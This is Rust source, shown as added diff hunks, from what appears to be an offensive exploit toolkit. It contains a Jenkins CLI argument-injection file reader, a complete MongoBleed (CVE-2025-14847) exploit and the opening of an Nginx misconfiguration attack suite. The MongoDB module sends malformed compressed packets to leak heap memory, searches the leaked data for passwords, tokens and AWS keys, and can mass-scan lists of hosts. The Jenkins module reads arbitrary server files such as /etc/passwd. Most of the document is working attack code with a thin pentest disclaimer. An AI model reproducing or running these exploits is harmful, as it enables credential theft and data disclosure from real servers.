fn get_payload_message(operation_index: u8, text: &str) -> Vec<u8> {
|
||||
let text_bytes = text.as_bytes();
|
||||
let text_size = text_bytes.len() as u16;
|
||||
|
||||
let mut text_message = Vec::new();
|
||||
text_message.extend_from_slice(&text_size.to_be_bytes());
|
||||
text_message.extend_from_slice(text_bytes);
|
||||
|
||||
let message_size = text_message.len() as u32;
|
||||
|
||||
let mut payload = Vec::new();
|
||||
payload.extend_from_slice(&message_size.to_be_bytes());
|
||||
payload.push(operation_index);
|
||||
payload.extend_from_slice(&text_message);
|
||||
|
||||
payload
|
||||
}
|
||||
|
||||
fn get_payload(filepath: &str) -> Vec<u8> {
|
||||
let arg_operation = 0u8;
|
||||
let start_operation = 3u8;
|
||||
|
||||
let command = get_payload_message(arg_operation, "connect-node");
|
||||
let poisoned_argument = get_payload_message(arg_operation, &format!("@{}", filepath));
|
||||
|
||||
let mut payload = Vec::new();
|
||||
payload.extend_from_slice(&command);
|
||||
payload.extend_from_slice(&poisoned_argument);
|
||||
payload.push(start_operation);
|
||||
|
||||
payload
|
||||
}
|
||||
|
||||
/// Validates and normalizes file path, preventing path traversal attacks
|
||||
fn make_path_absolute(filepath: &str) -> Result<String> {
|
||||
let trimmed = filepath.trim();
|
||||
|
||||
// Basic validation - prevent obvious path traversal
|
||||
if trimmed.contains("..") {
|
||||
return Err(anyhow::anyhow!("Path traversal detected in file path"));
|
||||
}
|
||||
|
||||
// Limit path length to prevent DoS
|
||||
if trimmed.len() > 4096 {
|
||||
return Err(anyhow::anyhow!("File path too long (max 4096 characters)"));
|
||||
}
|
||||
|
||||
// Remove null bytes
|
||||
if trimmed.contains('\0') {
|
||||
return Err(anyhow::anyhow!("Null bytes not allowed in file path"));
|
||||
}
|
||||
|
||||
if trimmed.starts_with('/') {
|
||||
Ok(trimmed.to_string())
|
||||
} else {
|
||||
Ok(format!("/proc/self/cwd/{}", trimmed))
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(args: &str) -> Result<()> {
|
||||
let parts: Vec<&str> = args.split_whitespace().collect();
|
||||
|
||||
if parts.is_empty() {
|
||||
bail!("Usage: <url> [filepath]\nExample: http://example.com/ /etc/passwd");
|
||||
}
|
||||
|
||||
let normalized_base = normalize_target(parts[0])?;
|
||||
let url = format!("{}/cli", normalized_base.trim_end_matches('/'));
|
||||
|
||||
let filepath = parts.get(1).map(|s| s.to_string());
|
||||
let identifier = Uuid::new_v4().to_string();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", url).cyan().bold());
|
||||
println!("{}", format!("[*] Session ID: {}", identifier).cyan());
|
||||
|
||||
let state = ExploitState::new(url, identifier)
|
||||
.context("Failed to initialize exploit state")?;
|
||||
|
||||
if let Some(path) = filepath {
|
||||
let absolute_path = make_path_absolute(&path)
|
||||
.context("Invalid file path provided")?;
|
||||
println!("{}", format!("[*] Reading file: {}", &absolute_path).cyan());
|
||||
|
||||
match state.read_file(&absolute_path).await {
|
||||
Ok(_) => println!("{}", "[+] File read complete".green().bold()),
|
||||
Err(e) => {
|
||||
if e.to_string().contains("timeout") {
|
||||
println!("{}", "[-] Payload request timed out.".red());
|
||||
} else {
|
||||
println!("{}", format!("[-] Error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
match start_interactive_file_read(state).await {
|
||||
Ok(_) => {}
|
||||
Err(e) => {
|
||||
if !e.to_string().contains("Interrupted") {
|
||||
eprintln!("Error: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
println!("\n{}", "Quitting".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
|
||||
println!("{}", "Press Ctrl+C to exit".cyan());
|
||||
|
||||
let stdin = std::io::stdin();
|
||||
loop {
|
||||
print!("{}", "File to download:\n> ".green().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
|
||||
let mut input = String::new();
|
||||
{
|
||||
let mut stdin_reader = stdin.lock();
|
||||
match stdin_reader.read_line(&mut input) {
|
||||
Ok(0) => break,
|
||||
Ok(_) => {},
|
||||
Err(e) => {
|
||||
eprintln!("Error reading input: {}", e);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let filepath = input.trim();
|
||||
if filepath.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let absolute_path = match make_path_absolute(filepath) {
|
||||
Ok(path) => path,
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Invalid file path: {}", e).red());
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
match state.read_file(&absolute_path).await {
|
||||
Ok(_) => {}
|
||||
Err(e) => {
|
||||
if e.to_string().contains("timeout") {
|
||||
println!("{}", "Payload request timed out.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("Error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod jenkins_2_441_lfi;
|
||||
@@ -0,0 +1,7 @@
|
||||
pub mod apache_tomcat;
|
||||
pub mod nginx;
|
||||
pub mod php;
|
||||
pub mod jenkins;
|
||||
pub mod exim;
|
||||
pub mod mongo;
|
||||
pub mod http2;
|
||||
@@ -0,0 +1 @@
|
||||
pub mod mongobleed;
|
||||
@@ -0,0 +1,640 @@
|
||||
//! MongoBleed Exploit (CVE-2025-14847)
|
||||
//!
|
||||
//! Exploits a zlib decompression bug in MongoDB Server to leak uninitialized
|
||||
//! heap memory via BSON field names.
|
||||
//!
|
||||
//! ## Vulnerability Details
|
||||
//! - **CVE**: CVE-2025-14847 (CVSS: 8.7 Critical)
|
||||
//! - **Affected**: MongoDB Server v7.0 < 7.0.28, v8.0 < 8.0.17, v8.2
|
||||
//! - **Attack Vector**: Pre-authentication memory disclosure
|
||||
//! - **Impact**: Credential theft, session token leakage, data exfiltration
|
||||
//!
|
||||
//! ## How It Works
|
||||
//! MongoDB miscalculates decompression lengths when processing malformed
|
||||
//! zlib-compressed messages. This causes the server to return uninitialized
|
||||
//! memory in its responses, similar to "Heartbleed" in OpenSSL.
|
||||
//!
|
||||
//! ## References
|
||||
//! - Original PoC: https://github.com/joe-desimone/mongobleed
|
||||
//! - MongoDB Advisory: https://www.mongodb.com/docs/manual/release-notes/
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use flate2::write::ZlibEncoder;
|
||||
use flate2::Compression;
|
||||
use regex::bytes::Regex;
|
||||
use std::collections::HashSet;
|
||||
use std::fs::File;
|
||||
use std::io::{Read, Write};
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::sync::Arc;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default, prompt_int_range, prompt_yes_no};
|
||||
|
||||
const DEFAULT_PORT: u16 = 27017;
|
||||
const DEFAULT_MIN_OFFSET: u32 = 20;
|
||||
const DEFAULT_MAX_OFFSET: u32 = 8192;
|
||||
const DEEP_SCAN_MAX_OFFSET: u32 = 50000;
|
||||
const CONNECT_TIMEOUT_SECS: u64 = 3;
|
||||
const READ_TIMEOUT_SECS: u64 = 2;
|
||||
const MAX_CONCURRENT_SCANS: usize = 10;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"║ MongoBleed (CVE-2025-14847) ║".cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"║ MongoDB Memory Disclosure - Pre-Auth Exploitation ║".cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"║ CVSS: 8.7 (Critical) - Active Exploitation in Wild ║".cyan()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
}
|
||||
|
||||
/// Scan mode selection
|
||||
#[derive(Clone, Copy, PartialEq)]
|
||||
enum ScanMode {
|
||||
VulnCheck, // Quick check if vulnerable
|
||||
QuickScan, // Fast scan with default offsets
|
||||
DeepScan, // Extended scan for more data
|
||||
CustomScan, // User-defined offset range
|
||||
}
|
||||
|
||||
/// Configuration for the exploit
|
||||
struct ExploitConfig {
|
||||
min_offset: u32,
|
||||
max_offset: u32,
|
||||
port: u16,
|
||||
mode: ScanMode,
|
||||
output_file: String,
|
||||
}
|
||||
|
||||
impl Default for ExploitConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
min_offset: DEFAULT_MIN_OFFSET,
|
||||
max_offset: DEFAULT_MAX_OFFSET,
|
||||
port: DEFAULT_PORT,
|
||||
mode: ScanMode::QuickScan,
|
||||
output_file: "leaked_mongo_data.bin".to_string(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
// Check if target is a file (mass scan mode)
|
||||
if target.ends_with(".txt") {
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
// Normalize and parse target
|
||||
let normalized = normalize_target(target)?;
|
||||
|
||||
// Prompt for configuration
|
||||
let config = prompt_config().await?;
|
||||
|
||||
// Build target address
|
||||
let target_addr = if normalized.contains(':') {
|
||||
normalized
|
||||
} else {
|
||||
format!("{}:{}", normalized, config.port)
|
||||
};
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] Target address: {}", target_addr).cyan());
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Offset range: {} - {}",
|
||||
config.min_offset, config.max_offset
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
|
||||
// Run the exploit
|
||||
match config.mode {
|
||||
ScanMode::VulnCheck => run_vuln_check(&target_addr).await,
|
||||
_ => run_exploit(&target_addr, &config).await,
|
||||
}
|
||||
}
|
||||
|
||||
/// Prompt user for configuration
|
||||
async fn prompt_config() -> Result<ExploitConfig> {
|
||||
let mut config = ExploitConfig::default();
|
||||
|
||||
println!("{}", "[*] Select scan mode:".cyan());
|
||||
println!(" {} Quick vulnerability check (fast)", "1.".bold());
|
||||
println!(" {} Quick scan (offsets 20-8192)", "2.".bold());
|
||||
println!(" {} Deep scan (offsets 20-50000, slower)", "3.".bold());
|
||||
println!(" {} Custom range", "4.".bold());
|
||||
println!();
|
||||
|
||||
let choice = prompt_int_range("Select option", 2, 1, 4)?;
|
||||
|
||||
config.mode = match choice {
|
||||
1 => ScanMode::VulnCheck,
|
||||
2 => ScanMode::QuickScan,
|
||||
3 => {
|
||||
config.max_offset = DEEP_SCAN_MAX_OFFSET;
|
||||
ScanMode::DeepScan
|
||||
}
|
||||
4 => {
|
||||
config.min_offset = prompt_int_range("Min offset", DEFAULT_MIN_OFFSET as i64, 1, 65535)? as u32;
|
||||
config.max_offset = prompt_int_range("Max offset", DEFAULT_MAX_OFFSET as i64, config.min_offset as i64, 100000)? as u32;
|
||||
ScanMode::CustomScan
|
||||
}
|
||||
_ => ScanMode::QuickScan,
|
||||
};
|
||||
|
||||
// Port configuration
|
||||
let port_str = prompt_default("MongoDB port", "27017")?;
|
||||
config.port = port_str.parse().unwrap_or(DEFAULT_PORT);
|
||||
|
||||
// Output file
|
||||
config.output_file = prompt_default("Output file", "leaked_mongo_data.bin")?;
|
||||
|
||||
Ok(config)
|
||||
}
|
||||
|
||||
/// Quick vulnerability check
|
||||
async fn run_vuln_check(target_addr: &str) -> Result<()> {
|
||||
println!();
|
||||
println!("{}", "[*] Running quick vulnerability check...".cyan());
|
||||
|
||||
// Test a few offsets to see if we get memory leaks
|
||||
let test_offsets = [100, 500, 1000, 2000];
|
||||
let mut vulnerable = false;
|
||||
|
||||
for &offset in &test_offsets {
|
||||
match send_probe(target_addr, offset, offset + 500).await {
|
||||
Ok(leaks) => {
|
||||
if !leaks.is_empty() {
|
||||
vulnerable = true;
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] Leak detected at offset {}: {} bytes", offset, leaks.iter().map(|l| l.len()).sum::<usize>())
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
break;
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Connection error: {}", e).red());
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
if vulnerable {
|
||||
println!(
|
||||
"{}",
|
||||
"[VULNERABLE] Target appears vulnerable to CVE-2025-14847!"
|
||||
.red()
|
||||
.bold()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"[*] Run a full scan to extract memory data.".yellow()
|
||||
);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
"[NOT VULNERABLE] No memory leaks detected.".green()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
"[*] Target may be patched or not a MongoDB server.".dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Run full exploit with memory extraction
|
||||
async fn run_exploit(target_addr: &str, config: &ExploitConfig) -> Result<()> {
|
||||
println!();
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Starting scan (offsets {}-{})...",
|
||||
config.min_offset, config.max_offset
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
|
||||
let mut all_leaked = Vec::new();
|
||||
let mut unique_leaks: HashSet<Vec<u8>> = HashSet::new();
|
||||
let total_offsets = config.max_offset - config.min_offset;
|
||||
let mut last_progress = 0;
|
||||
|
||||
// Secrets to search for
|
||||
let secrets = [
|
||||
"password", "secret", "key", "token", "admin", "AKIA", "root",
|
||||
"auth", "credential", "apikey", "api_key", "session",
|
||||
];
|
||||
let mut found_secrets: HashSet<String> = HashSet::new();
|
||||
|
||||
for doc_len in config.min_offset..config.max_offset {
|
||||
// Progress indicator (every 5%)
|
||||
let progress = ((doc_len - config.min_offset) * 100 / total_offsets) as usize;
|
||||
if progress >= last_progress + 5 {
|
||||
last_progress = progress;
|
||||
print!("\r{}", format!("[*] Progress: {}%", progress).cyan());
|
||||
std::io::stdout().flush().ok();
|
||||
}
|
||||
|
||||
match send_probe(target_addr, doc_len, doc_len + 500).await {
|
||||
Ok(leaks) => {
|
||||
for data in leaks {
|
||||
if !unique_leaks.contains(&data) {
|
||||
unique_leaks.insert(data.clone());
|
||||
all_leaked.extend_from_slice(&data);
|
||||
|
||||
// Check for secrets
|
||||
let data_str = String::from_utf8_lossy(&data).to_lowercase();
|
||||
for s in &secrets {
|
||||
if data_str.contains(s) && !found_secrets.contains(*s) {
|
||||
found_secrets.insert(s.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
// Show interesting leaks (> 10 bytes)
|
||||
if data.len() > 10 {
|
||||
let preview = String::from_utf8_lossy(&data).replace('\n', "\\n");
|
||||
let preview_trunk: String = preview.chars().take(80).collect();
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[+] offset={:5} len={:4}: {}",
|
||||
doc_len,
|
||||
data.len(),
|
||||
preview_trunk
|
||||
)
|
||||
.magenta()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
// Connection errors are common during exploitation, continue
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("\r{}", " ".repeat(40)); // Clear progress line
|
||||
|
||||
// Save results
|
||||
let mut f = File::create(&config.output_file).context("Failed to create output file")?;
|
||||
f.write_all(&all_leaked)?;
|
||||
|
||||
// Print summary
|
||||
println!();
|
||||
println!("{}", "═══════════════════════════════════════════════════════════".cyan());
|
||||
println!("{}", " SCAN RESULTS ".cyan().bold());
|
||||
println!("{}", "═══════════════════════════════════════════════════════════".cyan());
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Total leaked: {} bytes", all_leaked.len()).yellow()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Unique fragments: {}", unique_leaks.len()).yellow()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Saved to: {}", config.output_file).green()
|
||||
);
|
||||
|
||||
// Show found secrets
|
||||
if !found_secrets.is_empty() {
|
||||
println!();
|
||||
println!("{}", "[!] SENSITIVE PATTERNS FOUND:".red().bold());
|
||||
for s in &found_secrets {
|
||||
println!("{}", format!(" • {}", s).red());
|
||||
}
|
||||
println!(
|
||||
"{}",
|
||||
"[!] Manual review of leaked data recommended!".yellow()
|
||||
);
|
||||
}
|
||||
|
||||
// Recommendations
|
||||
println!();
|
||||
println!("{}", "[*] Recommendations:".cyan());
|
||||
println!(" • Review leaked.bin for credentials");
|
||||
println!(" • Search for: strings leaked_mongo_data.bin | grep -i password");
|
||||
println!(" • Rotate any exposed credentials immediately");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Mass scan mode - scan multiple targets from file
|
||||
async fn run_mass_scan(file_path: &str) -> Result<()> {
|
||||
println!();
|
||||
println!("{}", format!("[*] Mass scan mode: {}", file_path).cyan());
|
||||
|
||||
// Read targets from file
|
||||
let content = match tokio::fs::read_to_string(file_path).await {
|
||||
Ok(c) => c,
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!("[!] Failed to read file: {}", e).red());
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
|
||||
let targets: Vec<String> = content
|
||||
.lines()
|
||||
.map(|s| s.trim().to_string())
|
||||
.filter(|s| !s.is_empty() && !s.starts_with('#'))
|
||||
.collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
println!("{}", "[-] No targets found in file".red());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} targets", targets.len()).yellow()
|
||||
);
|
||||
|
||||
let deep_scan = prompt_yes_no("Run deep scan on vulnerable targets?", false)?;
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT_SCANS));
|
||||
let vulnerable_count = Arc::new(AtomicUsize::new(0));
|
||||
let scanned_count = Arc::new(AtomicUsize::new(0));
|
||||
let total = targets.len();
|
||||
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for target in targets {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let vuln_count = vulnerable_count.clone();
|
||||
let scan_count = scanned_count.clone();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
// Normalize target
|
||||
let target_addr = if target.contains(':') {
|
||||
target.clone()
|
||||
} else {
|
||||
format!("{}:{}", target, DEFAULT_PORT)
|
||||
};
|
||||
|
||||
// Quick vuln check
|
||||
let mut is_vulnerable = false;
|
||||
for offset in [100, 500, 1000] {
|
||||
if let Ok(leaks) = send_probe(&target_addr, offset, offset + 500).await {
|
||||
if !leaks.is_empty() {
|
||||
is_vulnerable = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
scan_count.fetch_add(1, Ordering::SeqCst);
|
||||
let progress = scan_count.load(Ordering::SeqCst);
|
||||
|
||||
if is_vulnerable {
|
||||
vuln_count.fetch_add(1, Ordering::SeqCst);
|
||||
println!(
|
||||
"{}",
|
||||
format!("[VULN] {} - CVE-2025-14847", target_addr)
|
||||
.red()
|
||||
.bold()
|
||||
);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[SAFE] {} ({}/{})", target_addr, progress, total).dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
(target_addr, is_vulnerable)
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
|
||||
// Wait for all scans
|
||||
let mut vulnerable_targets = Vec::new();
|
||||
for handle in handles {
|
||||
if let Ok((addr, vuln)) = handle.await {
|
||||
if vuln {
|
||||
vulnerable_targets.push(addr);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Summary
|
||||
println!();
|
||||
println!("{}", "═══════════════════════════════════════════════════════════".cyan());
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Scan complete: {}/{} vulnerable",
|
||||
vulnerable_count.load(Ordering::SeqCst),
|
||||
total
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
|
||||
// Save vulnerable targets
|
||||
if !vulnerable_targets.is_empty() {
|
||||
let output = "vulnerable_mongodb.txt";
|
||||
let mut f = File::create(output)?;
|
||||
for t in &vulnerable_targets {
|
||||
writeln!(f, "{}", t)?;
|
||||
}
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Vulnerable targets saved to: {}", output).green()
|
||||
);
|
||||
|
||||
// Deep scan if requested
|
||||
if deep_scan {
|
||||
println!();
|
||||
println!("{}", "[*] Running deep scan on vulnerable targets...".cyan());
|
||||
for target in vulnerable_targets {
|
||||
let config = ExploitConfig {
|
||||
min_offset: DEFAULT_MIN_OFFSET,
|
||||
max_offset: DEEP_SCAN_MAX_OFFSET,
|
||||
port: DEFAULT_PORT,
|
||||
mode: ScanMode::DeepScan,
|
||||
output_file: format!("leaked_{}.bin", target.replace(':', "_")),
|
||||
};
|
||||
println!();
|
||||
println!("{}", format!("[*] Deep scanning: {}", target).yellow());
|
||||
let _ = run_exploit(&target, &config).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send a probe packet and extract leaks
|
||||
async fn send_probe(addr: &str, doc_len: u32, buffer_size: u32) -> Result<Vec<Vec<u8>>> {
|
||||
// 1. Construct the malicious BSON payload
|
||||
// content = b'\x10a\x00\x01\x00\x00\x00' # int32 a=1
|
||||
let content = b"\x10a\x00\x01\x00\x00\x00";
|
||||
let mut bson = Vec::new();
|
||||
bson.extend_from_slice(&doc_len.to_le_bytes()); // inflated doc_len
|
||||
bson.extend_from_slice(content);
|
||||
|
||||
// 2. Wrap in OP_MSG (Code 2013)
|
||||
let mut op_msg = Vec::new();
|
||||
op_msg.extend_from_slice(&0u32.to_le_bytes()); // flagBits
|
||||
op_msg.push(0x00); // sectionKind
|
||||
op_msg.extend_from_slice(&bson);
|
||||
|
||||
// 3. Compress using zlib
|
||||
let mut encoder = ZlibEncoder::new(Vec::new(), Compression::default());
|
||||
encoder.write_all(&op_msg)?;
|
||||
let compressed = encoder.finish()?;
|
||||
|
||||
// 4. Create OP_COMPRESSED (Code 2012) payload
|
||||
let mut payload = Vec::new();
|
||||
payload.extend_from_slice(&2013u32.to_le_bytes()); // originalOpcode
|
||||
payload.extend_from_slice(&buffer_size.to_le_bytes()); // uncompressedSize
|
||||
payload.push(2); // zlib ID
|
||||
payload.extend_from_slice(&compressed);
|
||||
|
||||
// 5. Create Header
|
||||
let msg_length = 16 + payload.len() as u32;
|
||||
let mut header = Vec::new();
|
||||
header.extend_from_slice(&msg_length.to_le_bytes());
|
||||
header.extend_from_slice(&1u32.to_le_bytes()); // requestID
|
||||
header.extend_from_slice(&0u32.to_le_bytes()); // responseTo
|
||||
header.extend_from_slice(&2012u32.to_le_bytes()); // opCode (OP_COMPRESSED)
|
||||
|
||||
// Connect with timeout
|
||||
let mut stream = timeout(
|
||||
Duration::from_secs(CONNECT_TIMEOUT_SECS),
|
||||
TcpStream::connect(addr),
|
||||
)
|
||||
.await
|
||||
.context("Connection timed out")??;
|
||||
|
||||
// Send data
|
||||
stream.write_all(&header).await?;
|
||||
stream.write_all(&payload).await?;
|
||||
|
||||
// Read response with timeout
|
||||
let mut response = Vec::new();
|
||||
let mut buf = [0u8; 4096];
|
||||
|
||||
let _ = timeout(Duration::from_secs(READ_TIMEOUT_SECS), async {
|
||||
// First read
|
||||
let n = stream.read(&mut buf).await?;
|
||||
if n == 0 {
|
||||
return Ok(());
|
||||
}
|
||||
response.extend_from_slice(&buf[..n]);
|
||||
|
||||
// Read remainder based on header length
|
||||
while response.len() < 4
|
||||
|| (response.len() >= 4
|
||||
&& response.len()
|
||||
< u32::from_le_bytes(response[0..4].try_into().unwrap_or([0, 0, 0, 0]))
|
||||
as usize)
|
||||
{
|
||||
let n = stream.read(&mut buf).await?;
|
||||
if n == 0 {
|
||||
break;
|
||||
}
|
||||
response.extend_from_slice(&buf[..n]);
|
||||
}
|
||||
Ok::<(), anyhow::Error>(())
|
||||
})
|
||||
.await;
|
||||
|
||||
extract_leaks(&response)
|
||||
}
|
||||
|
||||
/// Extract leaked data from response
|
||||
fn extract_leaks(response: &[u8]) -> Result<Vec<Vec<u8>>> {
|
||||
if response.len() < 25 {
|
||||
return Ok(vec![]);
|
||||
}
|
||||
|
||||
let opcode = u32::from_le_bytes(response[12..16].try_into().unwrap_or([0, 0, 0, 0]));
|
||||
|
||||
// Decompress if OP_COMPRESSED
|
||||
let raw_data = if opcode == 2012 {
|
||||
if response.len() > 25 {
|
||||
let mut d = flate2::read::ZlibDecoder::new(&response[25..]);
|
||||
let mut buffer = Vec::new();
|
||||
if d.read_to_end(&mut buffer).is_ok() {
|
||||
buffer
|
||||
} else {
|
||||
return Ok(vec![]);
|
||||
}
|
||||
} else {
|
||||
return Ok(vec![]);
|
||||
}
|
||||
} else if response.len() > 16 {
|
||||
response[16..].to_vec()
|
||||
} else {
|
||||
return Ok(vec![]);
|
||||
};
|
||||
|
||||
let mut leaks = Vec::new();
|
||||
|
||||
// Search for "field name '...'" error pattern
|
||||
let re_field = Regex::new(r"field name '([^']*)'")
|
||||
.map_err(|e| anyhow::anyhow!("Regex error: {}", e))?;
|
||||
|
||||
for cap in re_field.captures_iter(&raw_data) {
|
||||
if let Some(m) = cap.get(1) {
|
||||
let data = m.as_bytes().to_vec();
|
||||
// Filter common boring strings
|
||||
if data != b"?" && data != b"a" && data != b"$db" && data != b"ping" {
|
||||
leaks.push(data);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Search for "type (\d+)" pattern
|
||||
let re_type = Regex::new(r"type (\d+)")
|
||||
.map_err(|e| anyhow::anyhow!("Regex error: {}", e))?;
|
||||
|
||||
for cap in re_type.captures_iter(&raw_data) {
|
||||
if let Some(m) = cap.get(1) {
|
||||
if let Ok(s) = std::str::from_utf8(m.as_bytes()) {
|
||||
if let Ok(val) = s.parse::<u8>() {
|
||||
leaks.push(vec![val]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(leaks)
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod nginx_pwner;
|
||||
@@ -0,0 +1,364 @@
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use reqwest::{Client, StatusCode};
|
||||
use std::fs::File;
|
||||
use std::io::Write;
|
||||
use std::time::Duration;
|
||||
|
||||
/// NginxPwner Exploit Suite
|
||||
///
|
||||
/// Ports functionality from https://github.com/stark0de/nginxpwner
|
||||
/// Checks for common Nginx misconfigurations and vulnerabilities.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ NginxPwner Exploit Suite ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
|
||||
// Normalize target
|
||||
let target_url = crate::utils::normalize_target(target)?;
|
||||
|
||||
// Ensure no trailing slash for consistency in string building
|
||||
let base_url = target_url.trim_end_matches('/');
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(10))
|
||||
.redirect(reqwest::redirect::Policy::none()) // We want to inspect redirects manually sometimes
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let mut findings = Vec::new();
|
||||
|
||||
println!("{}", "[*] Starting scan...".cyan());
|
||||
|
||||
// 1. Version Check
|
||||
check_version(&client, base_url, &mut findings).await;
|
||||
|
||||
// 2. CRLF Injection
|
||||
check_crlf(&client, base_url, &mut findings).await;
|
||||
|
||||
// 3. PURGE Method
|
||||
check_purge(&client, base_url, &mut findings).await;
|
||||
|
||||
// 4. Variable Leakage
|
||||
check_variable_leak(&client, base_url, &mut findings).await;
|
||||
|
||||
// 5. Merge Slashes / Path Traversal
|
||||
check_merge_slashes(&client, base_url, &mut findings).await;
|
||||
|
||||
// 6. Hop-by-Hop Header Bypass (IP Spoofing)
|
||||
check_headers_bypass(&client, base_url, &mut findings).await;
|
||||
|
||||
// 7. CVE-2017-7529 (Integer Overflow)
|
||||
check_integer_overflow(&client, base_url, &mut findings).await;
|
||||
|
||||
// 8. Alias Traversal (Kyubi logic)
|
||||
check_alias_traversal(&client, base_url, &mut findings).await;
|
||||
|
||||
// 9. PHP Detection
|
||||
check_php(&client, base_url, &mut findings).await;
|
||||
|
||||
// 10. X-Accel-Redirect Bypass
|
||||
check_x_accel_redirect(&client, base_url, &mut findings).await;
|
||||
|
||||
// 11. Raw Backend Reading & Source Disclosure
|
||||
check_raw_backend_reading(&client, base_url, &mut findings).await;
|
||||
|
||||
// 12. Manual Check Suggestions (Redis, etc)
|
||||
print_manual_suggestions();
|
||||
|
||||
// Report Findings
|
||||
println!("\n{}", "═══ Scan Results ═══".cyan().bold());
|
||||
if findings.is_empty() {
|
||||
println!("{}", "No significant vulnerabilities found.".green());
|
||||
} else {
|
||||
for finding in &findings {
|
||||
println!("{}", finding);
|
||||
}
|
||||
|
||||
// Save to file
|
||||
save_results(target, &findings)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
